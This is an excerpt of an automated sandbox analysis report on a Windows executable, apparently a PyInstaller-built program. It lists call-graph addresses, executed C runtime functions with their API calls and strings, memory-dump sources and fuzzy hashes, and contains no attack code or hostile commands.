7ff6850c23c3 16849->16852 16851 7ff6850c0d68 12 API calls 16850->16851 16854 7ff6850c2343 16850->16854 16851->16854 16853 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16852->16853 16853->16854 16854->16769 16856 7ff6850ceff9 16855->16856 16864 7ff6850cf007 16855->16864 16857 7ff6850cf027 16856->16857 16858 7ff6850c4900 45 API calls 16856->16858 16856->16864 16858->16857 16864->16773 16868 7ff6850c0d9f 16867->16868 16874 7ff6850c0d8e 16867->16874 16869 7ff6850cdbbc _fread_nolock 12 API calls 16868->16869 16868->16874 16870 7ff6850c0dd0 16869->16870 16874->16836 16876 7ff6850c48a6 16875->16876 16878 7ff6850c48ae 16875->16878 16877 7ff6850c4900 45 API calls 16876->16877 16877->16878 16878->16847 16890 7ff6850c114f 16889->16890 16891 7ff6850c113d 16889->16891 16894 7ff6850c115d 16890->16894 16897 7ff6850c1199 16890->16897 16892 7ff6850c54c4 _get_daylight 11 API calls 16891->16892 16893 7ff6850c1142 16892->16893 16895 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16893->16895 16896 7ff6850cadd8 _invalid_parameter_noinfo 37 API calls 16894->16896 16899 7ff6850c114d 16895->16899 16896->16899 16898 7ff6850c1515 16897->16898 16901 7ff6850c54c4 _get_daylight 11 API calls 16897->16901 16898->16899 16900 7ff6850c54c4 _get_daylight 11 API calls 16898->16900 16899->16737 16902 7ff6850c17a9 16900->16902 16903 7ff6850c150a 16901->16903 16904 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16902->16904 16905 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 16903->16905 16904->16899 16905->16898 16947 7ff6850d1bc8 16906->16947 17006 7ff6850d1940 16947->17006 17027 7ff6850d0cb8 EnterCriticalSection 17006->17027 17038 7ff6850b8675 17037->17038 17039 7ff6850c4d18 48 API calls 17038->17039 17042 7ff6850c79f5 17041->17042 17043 7ff6850c79c2 17041->17043 17042->16696 17043->17042 17044 7ff6850d0e54 _wfindfirst32i64 37 API calls 17043->17044 17045 7ff6850c79f1 17044->17045 17045->17042 17046 7ff6850caec4 _wfindfirst32i64 17 API calls 17045->17046 17047 7ff6850c7a25 17046->17047 17049 7ff6850c6344 17048->17049 17050 7ff6850c63b2 17048->17050 17049->17050 17052 7ff6850c6349 17049->17052 17085 7ff6850d04a0 17050->17085 17053 7ff6850c6361 17052->17053 17054 7ff6850c637e 17052->17054 17060 7ff6850c60f8 GetFullPathNameW 17053->17060 17068 7ff6850c616c GetFullPathNameW 17054->17068 17059 7ff6850c6376 __vcrt_freefls 17059->16696 17061 7ff6850c611e GetLastError 17060->17061 17064 7ff6850c6134 17060->17064 17062 7ff6850c5438 _fread_nolock 11 API calls 17061->17062 17063 7ff6850c612b 17062->17063 17065 7ff6850c54c4 _get_daylight 11 API calls 17063->17065 17066 7ff6850c54c4 _get_daylight 11 API calls 17064->17066 17067 7ff6850c6130 17064->17067 17065->17067 17066->17067 17067->17059 17069 7ff6850c619f GetLastError 17068->17069 17073 7ff6850c61b5 __vcrt_freefls 17068->17073 17070 7ff6850c5438 _fread_nolock 11 API calls 17069->17070 17071 7ff6850c61ac 17070->17071 17072 7ff6850c54c4 _get_daylight 11 API calls 17071->17072 17075 7ff6850c61b1 17072->17075 17074 7ff6850c620f GetFullPathNameW 17073->17074 17073->17075 17074->17069 17074->17075 17076 7ff6850c6244 17075->17076 17080 7ff6850c62b8 memcpy_s 17076->17080 17081 7ff6850c626d memcpy_s 17076->17081 17080->17059 17081->17080 17088 7ff6850d02b0 17085->17088 17089 7ff6850d02f2 17088->17089 17090 7ff6850d02db 17088->17090 17092 7ff6850d02f6 17089->17092 17093 7ff6850d0317 17089->17093 17091 7ff6850c54c4 _get_daylight 11 API calls 17090->17091 17095 7ff6850d02e0 17091->17095 17114 7ff6850d041c 17092->17114 17126 7ff6850cf918 17093->17126 17099 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 17095->17099 17113 7ff6850d02eb __vcrt_freefls 17099->17113 17115 7ff6850d0466 17114->17115 17116 7ff6850d0436 17114->17116 17117 7ff6850d0471 GetDriveTypeW 17115->17117 17119 7ff6850d0451 17115->17119 17118 7ff6850c54a4 _fread_nolock 11 API calls 17116->17118 17117->17119 17127 7ff6850bd0e0 memcpy_s 17126->17127 17128 7ff6850cf94e GetCurrentDirectoryW 17127->17128 17147 7ff6850d0cb8 EnterCriticalSection 17140->17147 17149 7ff6850b173e 17148->17149 17150 7ff6850b1726 17148->17150 17152 7ff6850b1744 17149->17152 17153 7ff6850b1768 17149->17153 17151 7ff6850b2b30 59 API calls 17150->17151 17155 7ff6850b1732 17151->17155 17278 7ff6850b12b0 17152->17278 17241 7ff6850b7c10 17153->17241 17155->15939 17159 7ff6850b17b9 17164 7ff6850b3fd0 116 API calls 17159->17164 17160 7ff6850b178d 17163 7ff6850b2890 59 API calls 17160->17163 17161 7ff6850b175f 17161->15939 17162 7ff6850b2b30 59 API calls 17162->17161 17165 7ff6850b17a3 17163->17165 17166 7ff6850b17ce 17164->17166 17165->15939 17167 7ff6850b17ee 17166->17167 17168 7ff6850b17d6 17166->17168 17170 7ff6850c0814 73 API calls 17167->17170 17169 7ff6850b2b30 59 API calls 17168->17169 17191 7ff6850b2d86 17190->17191 17192 7ff6850b1ef0 49 API calls 17191->17192 17193 7ff6850b2db9 17192->17193 17194 7ff6850b3e40 49 API calls 17193->17194 17240 7ff6850b30ea 17193->17240 17195 7ff6850b2e27 17194->17195 17196 7ff6850b3e40 49 API calls 17195->17196 17197 7ff6850b2e38 17196->17197 17198 7ff6850b2e95 17197->17198 17199 7ff6850b2e59 17197->17199 17200 7ff6850b31b0 75 API calls 17198->17200 17413 7ff6850b31b0 17199->17413 17202 7ff6850b2e93 17200->17202 17203 7ff6850b2ed4 17202->17203 17204 7ff6850b2f16 17202->17204 17421 7ff6850b75a0 17203->17421 17206 7ff6850b31b0 75 API calls 17204->17206 17208 7ff6850b2f40 17206->17208 17211 7ff6850b31b0 75 API calls 17208->17211 17215 7ff6850b2fdc 17208->17215 17242 7ff6850b7c20 17241->17242 17243 7ff6850b1ef0 49 API calls 17242->17243 17244 7ff6850b7c61 17243->17244 17258 7ff6850b7ce1 17244->17258 17321 7ff6850b3f60 17244->17321 17246 7ff6850bbcc0 _wfindfirst32i64 8 API calls 17248 7ff6850b1785 17246->17248 17248->17159 17248->17160 17249 7ff6850b7d1b 17327 7ff6850b77c0 17249->17327 17251 7ff6850b7cd0 17252 7ff6850b7d04 17253 7ff6850b7b60 61 API calls 17259 7ff6850b7c92 __vcrt_freefls 17253->17259 17258->17246 17259->17251 17259->17252 17279 7ff6850b12c2 17278->17279 17280 7ff6850b3fd0 116 API calls 17279->17280 17281 7ff6850b12f2 17280->17281 17282 7ff6850b1311 17281->17282 17283 7ff6850b12fa 17281->17283 17284 7ff6850c0814 73 API calls 17282->17284 17285 7ff6850b2b30 59 API calls 17283->17285 17286 7ff6850b1323 17284->17286 17290 7ff6850b130a __vcrt_freefls 17285->17290 17287 7ff6850b1327 17286->17287 17288 7ff6850b134d 17286->17288 17289 7ff6850b2890 59 API calls 17287->17289 17294 7ff6850b1390 17288->17294 17295 7ff6850b1368 17288->17295 17291 7ff6850b133e 17289->17291 17292 7ff6850bbcc0 _wfindfirst32i64 8 API calls 17290->17292 17293 7ff6850c018c 74 API calls 17291->17293 17297 7ff6850b1454 17292->17297 17293->17290 17296 7ff6850b13aa 17294->17296 17308 7ff6850b1463 17294->17308 17298 7ff6850b2890 59 API calls 17295->17298 17299 7ff6850b1050 98 API calls 17296->17299 17297->17161 17297->17162 17301 7ff6850b1383 17298->17301 17302 7ff6850b13bb 17299->17302 17300 7ff6850b13c3 17303 7ff6850c018c 74 API calls 17300->17303 17304 7ff6850c018c 74 API calls 17301->17304 17302->17300 17304->17290 17306 7ff6850c04dc _fread_nolock 53 API calls 17306->17308 17308->17300 17308->17306 17311 7ff6850b14bb 17308->17311 17313 7ff6850b2890 59 API calls 17311->17313 17322 7ff6850b3f6a 17321->17322 17323 7ff6850b8ae0 57 API calls 17322->17323 17324 7ff6850b3f92 17323->17324 17325 7ff6850bbcc0 _wfindfirst32i64 8 API calls 17324->17325 17326 7ff6850b3fba 17325->17326 17326->17249 17326->17253 17326->17259 17414 7ff6850b31e4 17413->17414 17415 7ff6850c4ac4 49 API calls 17414->17415 17416 7ff6850b320a 17415->17416 17417 7ff6850b321b 17416->17417 17473 7ff6850c5dec 17416->17473 17419 7ff6850bbcc0 _wfindfirst32i64 8 API calls 17417->17419 17422 7ff6850b75ae 17421->17422 17423 7ff6850b3fd0 116 API calls 17422->17423 17474 7ff6850c5e15 17473->17474 17475 7ff6850c5e09 17473->17475 17515 7ff6850c4f98 17474->17515 17490 7ff6850c5700 17475->17490 17737 7ff6850c63dc 17736->17737 17738 7ff6850c6402 17737->17738 17741 7ff6850c6435 17737->17741 17739 7ff6850c54c4 _get_daylight 11 API calls 17738->17739 17740 7ff6850c6407 17739->17740 17742 7ff6850caea4 _invalid_parameter_noinfo 37 API calls 17740->17742 17743 7ff6850c6448 17741->17743 17744 7ff6850c643b 17741->17744 17747 7ff6850b4029 17742->17747 17755 7ff6850cb1ec 17743->17755 17745 7ff6850c54c4 _get_daylight 11 API calls 17744->17745 17745->17747 17747->16014 17768 7ff6850d0cb8 EnterCriticalSection 17755->17768 18116 7ff6850c90a0 18115->18116 18119 7ff6850c8b7c 18116->18119 18120 7ff6850c8bc6 18119->18120 18121 7ff6850c8b97 18119->18121 18142 7ff6850b3fd0 116 API calls 18141->18142 18143 7ff6850b15c7 18142->18143 18144 7ff6850b15f0 18143->18144 18145 7ff6850b15cf 18143->18145 18146 7ff6850c0814 73 API calls 18144->18146 18147 7ff6850b2b30 59 API calls 18145->18147 18148 7ff6850b1601 18146->18148 18149 7ff6850b15df 18147->18149 18150 7ff6850b1621 18148->18150 18151 7ff6850b1605 18148->18151 18149->16033 18153 7ff6850b1651 18150->18153 18154 7ff6850b1631 18150->18154 18152 7ff6850b2890 59 API calls 18151->18152 18163 7ff6850b161c __vcrt_freefls 18152->18163 18156 7ff6850b1666 18153->18156 18161 7ff6850b167d 18153->18161 18155 7ff6850b2890 59 API calls 18154->18155 18155->18163 18159 7ff6850b1050 98 API calls 18156->18159 18157 7ff6850c018c 74 API calls 18158 7ff6850b16f7 18157->18158 18158->16033 18159->18163 18160 7ff6850c04dc _fread_nolock 53 API calls 18160->18161 18161->18160 18162 7ff6850b16be 18161->18162 18161->18163 18164 7ff6850b2890 59 API calls 18162->18164 18163->18157 18164->18163 18166 7ff6850b19d3 18165->18166 18168 7ff6850b196f 18165->18168 18166->16052 18167 7ff6850c5070 45 API calls 18167->18168 18168->18166 18168->18167 18170 7ff6850b8ae0 57 API calls 18169->18170 18171 7ff6850b8277 LoadLibraryExW 18170->18171 18172 7ff6850b8294 __vcrt_freefls 18171->18172 18172->16060 18233 7ff6850b5bd0 18232->18233 18234 7ff6850b1ef0 49 API calls 18233->18234 18235 7ff6850b5c02 18234->18235 18236 7ff6850b5c2b 18235->18236 18237 7ff6850b5c0b 18235->18237 18238 7ff6850b5c82 18236->18238 18240 7ff6850b4050 49 API calls 18236->18240 18239 7ff6850b2b30 59 API calls 18237->18239 18241 7ff6850b4050 49 API calls 18238->18241 18259 7ff6850b5c21 18239->18259 18242 7ff6850b5c4c 18240->18242 18243 7ff6850b5c9b 18241->18243 18244 7ff6850b5c6a 18242->18244 18249 7ff6850b2b30 59 API calls 18242->18249 18246 7ff6850b5cb9 18243->18246 18247 7ff6850b2b30 59 API calls 18243->18247 18250 7ff6850b3f60 57 API calls 18244->18250 18245 7ff6850bbcc0 _wfindfirst32i64 8 API calls 18251 7ff6850b346e 18245->18251 18248 7ff6850b8260 58 API calls 18246->18248 18247->18246 18252 7ff6850b5cc6 18248->18252 18249->18244 18253 7ff6850b5c74 18250->18253 18251->16081 18260 7ff6850b5d20 18251->18260 18254 7ff6850b5ced 18252->18254 18255 7ff6850b5ccb 18252->18255 18253->18238 18258 7ff6850b8260 58 API calls 18253->18258 18330 7ff6850b51e0 GetProcAddress 18254->18330 18256 7ff6850b29e0 57 API calls 18255->18256 18256->18259 18258->18238 18259->18245 18414 7ff6850b4de0 18260->18414 18262 7ff6850b5d44 18263 7ff6850b5d4c 18262->18263 18264 7ff6850b5d5d 18262->18264 18331 7ff6850b5220 GetProcAddress 18330->18331 18337 7ff6850b5202 18330->18337 18332 7ff6850b5245 GetProcAddress 18331->18332 18331->18337 18332->18337 18333 7ff6850b29e0 57 API calls 18337->18333 18416 7ff6850b4e05 18414->18416 18415 7ff6850b4e0d 18415->18262 18416->18415 18419 7ff6850b4f9f 18416->18419 18456 7ff6850c6fb8 18416->18456 18417 7ff6850b4250 47 API calls 18417->18419 18418 7ff6850b514a __vcrt_freefls 18418->18262 18419->18417 18419->18418 18457 7ff6850c6fe8 18456->18457 18460 7ff6850c64b4 18457->18460 18556 7ff6850c531b 18555->18556 18564 7ff6850cf764 18556->18564 18577 7ff6850d0cb8 EnterCriticalSection 18564->18577 19929 7ff6850d1d20 19940 7ff6850d7cb4 19929->19940 19941 7ff6850d7cc1 19940->19941 19942 7ff6850caf0c __free_lconv_mon 11 API calls 19941->19942 19943 7ff6850d7cdd 19941->19943 19942->19941 19944 7ff6850caf0c __free_lconv_mon 11 API calls 19943->19944 19945 7ff6850d1d29 19943->19945 19944->19943 19946 7ff6850d0cb8 EnterCriticalSection 19945->19946

                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                      Function 00007FF6850D6370 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334timeCOMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 133 7ff6850d6370-7ff6850d63ab call 7ff6850d5cf8 call 7ff6850d5d00 call 7ff6850d5d68 140 7ff6850d65d5-7ff6850d6621 call 7ff6850caec4 call 7ff6850d5cf8 call 7ff6850d5d00 call 7ff6850d5d68 133->140 141 7ff6850d63b1-7ff6850d63bc call 7ff6850d5d08 133->141 168 7ff6850d675f-7ff6850d67cd call 7ff6850caec4 call 7ff6850d1be8 140->168 169 7ff6850d6627-7ff6850d6632 call 7ff6850d5d08 140->169 141->140 147 7ff6850d63c2-7ff6850d63cc 141->147 148 7ff6850d63ee-7ff6850d63f2 147->148 149 7ff6850d63ce-7ff6850d63d1 147->149 152 7ff6850d63f5-7ff6850d63fd 148->152 151 7ff6850d63d4-7ff6850d63df 149->151 154 7ff6850d63e1-7ff6850d63e8 151->154 155 7ff6850d63ea-7ff6850d63ec 151->155 152->152 156 7ff6850d63ff-7ff6850d6412 call 7ff6850cdbbc 152->156 154->151 154->155 155->148 158 7ff6850d641b-7ff6850d6429 155->158 163 7ff6850d6414-7ff6850d6416 call 7ff6850caf0c 156->163 164 7ff6850d642a-7ff6850d6436 call 7ff6850caf0c 156->164 163->158 173 7ff6850d643d-7ff6850d6445 164->173 187 7ff6850d67cf-7ff6850d67d6 168->187 188 7ff6850d67db-7ff6850d67de 168->188 169->168 177 7ff6850d6638-7ff6850d6643 call 7ff6850d5d38 169->177 173->173 176 7ff6850d6447-7ff6850d6458 call 7ff6850d0e54 173->176 176->140 185 7ff6850d645e-7ff6850d64b4 call 7ff6850bd0e0 * 4 call 7ff6850d628c 176->185 177->168 186 7ff6850d6649-7ff6850d666c call 7ff6850caf0c GetTimeZoneInformation 177->186 246 7ff6850d64b6-7ff6850d64ba 185->246 202 7ff6850d6672-7ff6850d6693 186->202 203 7ff6850d6734-7ff6850d675e call 7ff6850d5cf0 call 7ff6850d5ce0 call 7ff6850d5ce8 186->203 193 7ff6850d686b-7ff6850d686e 187->193 189 7ff6850d6815-7ff6850d6828 call 7ff6850cdbbc 188->189 190 7ff6850d67e0 188->190 212 7ff6850d6833-7ff6850d684e call 7ff6850d1be8 189->212 213 7ff6850d682a 189->213 194 7ff6850d67e3 190->194 193->194 198 7ff6850d6874-7ff6850d687c call 7ff6850d6370 193->198 199 7ff6850d67e8-7ff6850d6814 call 7ff6850caf0c call 7ff6850bbcc0 194->199 200 7ff6850d67e3 call 7ff6850d65ec 194->200 198->199 200->199 208 7ff6850d6695-7ff6850d669b 202->208 209 7ff6850d669e-7ff6850d66a5 202->209 208->209 216 7ff6850d66a7-7ff6850d66af 209->216 217 7ff6850d66b9 209->217 229 7ff6850d6855-7ff6850d6867 call 7ff6850caf0c 212->229 230 7ff6850d6850-7ff6850d6853 212->230 220 7ff6850d682c-7ff6850d6831 call 7ff6850caf0c 213->220 216->217 223 7ff6850d66b1-7ff6850d66b7 216->223 224 7ff6850d66bb-7ff6850d672f call 7ff6850bd0e0 * 4 call 7ff6850d31cc call 7ff6850d6884 * 2 217->224 220->190 223->224 224->203 229->193 230->220 247 7ff6850d64c0-7ff6850d64c4 246->247 248 7ff6850d64bc 246->248 247->246 250 7ff6850d64c6-7ff6850d64eb call 7ff6850c706c 247->250 248->247 256 7ff6850d64ee-7ff6850d64f2 250->256 258 7ff6850d64f4-7ff6850d64ff 256->258 259 7ff6850d6501-7ff6850d6505 256->259 258->259 261 7ff6850d6507-7ff6850d650b 258->261 259->256 263 7ff6850d658c-7ff6850d6590 261->263 264 7ff6850d650d-7ff6850d6535 call 7ff6850c706c 261->264 266 7ff6850d6592-7ff6850d6594 263->266 267 7ff6850d6597-7ff6850d65a4 263->267 273 7ff6850d6553-7ff6850d6557 264->273 274 7ff6850d6537 264->274 266->267 269 7ff6850d65bf-7ff6850d65ce call 7ff6850d5cf0 call 7ff6850d5ce0 267->269 270 7ff6850d65a6-7ff6850d65bc call 7ff6850d628c 267->270 269->140 270->269 273->263 276 7ff6850d6559-7ff6850d6577 call 7ff6850c706c 273->276 278 7ff6850d653a-7ff6850d6541 274->278 285 7ff6850d6583-7ff6850d658a 276->285 278->273 281 7ff6850d6543-7ff6850d6551 278->281 281->273 281->278 285->263 286 7ff6850d6579-7ff6850d657d 285->286 286->263 287 7ff6850d657f 286->287 287->285
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D63B5
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850D5D08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6850D5D1C
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF22
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAF0C: GetLastError.KERNEL32(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF2C
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAEC4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6850CAEA3,?,?,?,?,?,00007FF6850C30CC), ref: 00007FF6850CAECD
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAEC4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6850CAEA3,?,?,?,?,?,00007FF6850C30CC), ref: 00007FF6850CAEF2
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D63A4
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850D5D68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6850D5D7C
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D661A
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D662B
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D663C
                                                                                                                                                                                                                                      • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6850D687C), ref: 00007FF6850D6663
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
                                                                                                                                                                                                                                      • String ID: W. Europe Standard Time$W. Europe Summer Time
                                                                                                                                                                                                                                      • API String ID: 1458651798-690618308
                                                                                                                                                                                                                                      • Opcode ID: 54e1ccf0b1e099ab2aef5fd1d20d70d6c7b19d4e9a74b58f9fc53268ba567377
                                                                                                                                                                                                                                      • Instruction ID: 9f513d9a00468ea054b9d8981eac0ac53eb057ce756128400f24947c830f98e2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 54e1ccf0b1e099ab2aef5fd1d20d70d6c7b19d4e9a74b58f9fc53268ba567377
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 34D18E26E08242C6E760AF26D8516B96761FF44FA4F848239EE4DC768ADF3DEC41C740
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D72BC Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 318 7ff6850d72bc-7ff6850d732f call 7ff6850d6ff0 321 7ff6850d7331-7ff6850d733a call 7ff6850c54a4 318->321 322 7ff6850d7349-7ff6850d7353 call 7ff6850c8434 318->322 329 7ff6850d733d-7ff6850d7344 call 7ff6850c54c4 321->329 327 7ff6850d7355-7ff6850d736c call 7ff6850c54a4 call 7ff6850c54c4 322->327 328 7ff6850d736e-7ff6850d73d7 CreateFileW 322->328 327->329 332 7ff6850d7454-7ff6850d745f GetFileType 328->332 333 7ff6850d73d9-7ff6850d73df 328->333 340 7ff6850d768a-7ff6850d76aa 329->340 335 7ff6850d74b2-7ff6850d74b9 332->335 336 7ff6850d7461-7ff6850d749c GetLastError call 7ff6850c5438 CloseHandle 332->336 338 7ff6850d7421-7ff6850d744f GetLastError call 7ff6850c5438 333->338 339 7ff6850d73e1-7ff6850d73e5 333->339 343 7ff6850d74c1-7ff6850d74c4 335->343 344 7ff6850d74bb-7ff6850d74bf 335->344 336->329 352 7ff6850d74a2-7ff6850d74ad call 7ff6850c54c4 336->352 338->329 339->338 345 7ff6850d73e7-7ff6850d741f CreateFileW 339->345 350 7ff6850d74ca-7ff6850d751f call 7ff6850c834c 343->350 351 7ff6850d74c6 343->351 344->350 345->332 345->338 357 7ff6850d753e-7ff6850d756f call 7ff6850d6d70 350->357 358 7ff6850d7521-7ff6850d752d call 7ff6850d71f8 350->358 351->350 352->329 364 7ff6850d7575-7ff6850d75b7 357->364 365 7ff6850d7571-7ff6850d7573 357->365 358->357 363 7ff6850d752f 358->363 366 7ff6850d7531-7ff6850d7539 call 7ff6850cb084 363->366 367 7ff6850d75d9-7ff6850d75e4 364->367 368 7ff6850d75b9-7ff6850d75bd 364->368 365->366 366->340 371 7ff6850d75ea-7ff6850d75ee 367->371 372 7ff6850d7688 367->372 368->367 370 7ff6850d75bf-7ff6850d75d4 368->370 370->367 371->372 374 7ff6850d75f4-7ff6850d7639 CloseHandle CreateFileW 371->374 372->340 375 7ff6850d766e-7ff6850d7683 374->375 376 7ff6850d763b-7ff6850d7669 GetLastError call 7ff6850c5438 call 7ff6850c8574 374->376 375->372 376->375
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1617910340-0
                                                                                                                                                                                                                                      • Opcode ID: d1d4f06f2925cf98ba43065425f03779d4007acc0884ea13a9d80746d18551ee
                                                                                                                                                                                                                                      • Instruction ID: d493514f1e0dfae9c0499102a1857623714d491b1aea025809aaea778fb45778
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d1d4f06f2925cf98ba43065425f03779d4007acc0884ea13a9d80746d18551ee
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C3C19036B28A42C5EB10CF68C4906AC3761FB49BA8B415329DE2E977D5DF38D856C740
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B7950 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF6850B154F), ref: 00007FF6850B79E7
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B7B60: GetEnvironmentVariableW.KERNEL32(00007FF6850B3A1F), ref: 00007FF6850B7B9A
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B7B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6850B7BB7
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850C7DEC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6850C7E05
                                                                                                                                                                                                                                      • SetEnvironmentVariableW.KERNEL32 ref: 00007FF6850B7AA1
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B2B30: MessageBoxW.USER32 ref: 00007FF6850B2C05
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
                                                                                                                                                                                                                                      • API String ID: 3752271684-1116378104
                                                                                                                                                                                                                                      • Opcode ID: fd0d91a48e08b4ddcb6cebc8fec788b09d16c3cc41867d355545f02c3c8609b6
                                                                                                                                                                                                                                      • Instruction ID: 2b9f6e32b922f3d4bc8dd0030b476a5569acd92e62e9c72fb14bb9ae38201876
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fd0d91a48e08b4ddcb6cebc8fec788b09d16c3cc41867d355545f02c3c8609b6
